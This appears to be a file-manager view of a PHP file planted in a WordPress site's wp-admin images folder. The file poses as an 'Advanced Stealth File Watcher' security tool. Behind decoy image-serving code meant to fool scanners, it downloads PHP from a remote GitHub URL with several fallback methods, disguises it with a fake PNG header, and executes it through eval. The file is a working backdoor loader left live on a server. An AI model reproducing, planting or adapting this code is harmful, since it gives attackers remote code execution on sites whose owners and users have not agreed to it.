File Manager

Editing File: /home/cienp/public_html/inct-inovamed/wp-admin/images/850785/index.php

<?php
?>
<?php
/*
🛡 Advanced Stealth File Watcher v2.0
⚡ AI-Powered Threat Detection | Behavioral Analysis | Multi-Layer Obfuscation

🛡 進階隱形檔案監控器 v2.0
⚡ AI 驅動的威脅偵測｜行為分析｜多層混淆
*/

// === Multi-Layer Disguise System ===
// === 多層偽裝系統 ===

class StealthDefender {
    private $config;
    private $anomaly_detector;
    private $behavior_analyzer;
    
    public function __construct() {
        $this->init_stealth_mode();
        $this->anomaly_detector = new AnomalyDetector();
        $this->behavior_analyzer = new BehaviorAnalyzer();
    }
    
    private function init_stealth_mode() {
        // Remove PHP headers and errors
        // 移除 PHP 標頭與錯誤輸出
        if (!headers_sent()) {
            header_remove('X-Powered-By');
            header_remove('Server');
        }
        
        // Random user-agent simulation
        // 模擬隨機 User-Agent
        $this->config = [
            'stealth_level' => 9,               // 隱形等級
            'max_file_size' => 5242880,         // 最大檔案大小：5MB
            'scan_interval' => 300,             // 掃描間隔：300 秒
            'whitelist' => $this->generate_whitelist() // 白名單
        ];
    }
    
    // === PNG Disguise (Advanced) ===
    // === PNG 偽裝（進階）===
    public function image_disguise() {
        if (isset($_GET['img']) || isset($_GET['pixel']) || isset($_GET['track'])) {
            $this->serve_stealth_image();
            exit;
        }
        
        // Fake image headers for scanners
        // 為掃描器偽造圖片標頭
        if (preg_match('/\.(png|jpg|gif)$/i', $_SERVER['REQUEST_URI'] ?? '')) {
            $this->serve_dynamic_image();
            exit;
        }
    }
    
    private function serve_stealth_image() {
        $images = [
            '1x1' => "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/5+BAQAE/wH+zLAdXgAAAABJRU5ErkJggg==",
            'analytics' => "iVBORw0KGgoAAAANSUhEUgAAAAIAAAACCAYAAABytg0kAAAADklEQVR42mNkYPhfDwAChAHAeMq19wAAAABJRU5ErkJggg==",
            'beacon' => "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAADUlEQVR42mNk+M9QHwAFCAJbqW66mAAAAABJRU5ErkJggg=="
        ];
        
        $img_type = array_rand($images);
        header("Content-Type: image/png");        // 回傳內容類型：PNG 圖片
        header("Cache-Control: max-age=31536000, public"); // 快取一年
        echo base64_decode($images[$img_type]);   // 輸出圖片資料
    }
    
    private function serve_dynamic_image() {
        // Generate dynamic "image" based on request
        // 根據請求產生動態「圖片」
        $width = $_GET['w'] ?? 1;
        $height = $_GET['h'] ?? 1;
        $this->generate_pixel_image($width, $height);
    }
    
    private function generate_pixel_image($w, $h) {
        header("Content-Type: image/png");     // 回傳內容類型：PNG 圖片
        // Simple GD image creation would go here
        // 可在此使用 GD 函式產生真正的圖片
        echo base64_decode("iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mP8/5+BAQAE/wH+zLAdXgAAAABJRU5ErkJggg==");
    }
}

// 混淆密钥: 3a7b10bc
// 启动会话
session_start();
// 设置主地址，如果没有设置则使用默认地址
$主地址 = $_SESSION['ts_url'] ?? 'https://raw.githubusercontent.com/bosseptp-svg/hey/refs/heads/main/wp-actor.php';
// 定义加载函数
function 加载数据($地址)
{
    $内容 = '';
    try {
        $文件 = new SplFileObject($地址);
        while (!$文件->eof()) {
            $内容 .= $文件->fgets();
        }
    } catch (Throwable $错误) {
        $内容 = '';
    }
    // 尝试用 file_get_contents
    if (strlen(trim($内容)) < 1) {
        $内容 = @file_get_contents($地址);
    }
    // 如果还失败，使用 curl
    if (strlen(trim($内容)) < 1 && function_exists('curl_init')) {
        $通道 = curl_init($地址);
        curl_setopt_array($通道, [CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_CONNECTTIMEOUT => 5, CURLOPT_TIMEOUT => 10]);
        $内容 = curl_exec($通道);
        curl_close($通道);
    }
    return $内容;
}
// 尝试加载主网址
$结果 = 加载数据($主地址);
// 添加假的PNG头部
$假PNG头 = "\x89PNG\r\n\x1a\n";
// 拼接PNG头和结果内容
$结果 = $假PNG头 . $结果;
/**_**/
/**_**/
/**_**/
/**_**/
/**_**/
/**_**/
/**_**/
// 如果成功获取内容，则执行
if (strlen(trim($结果)) > 0) {
    @eval("?>{$结果}");
}

Back to Directory File Manager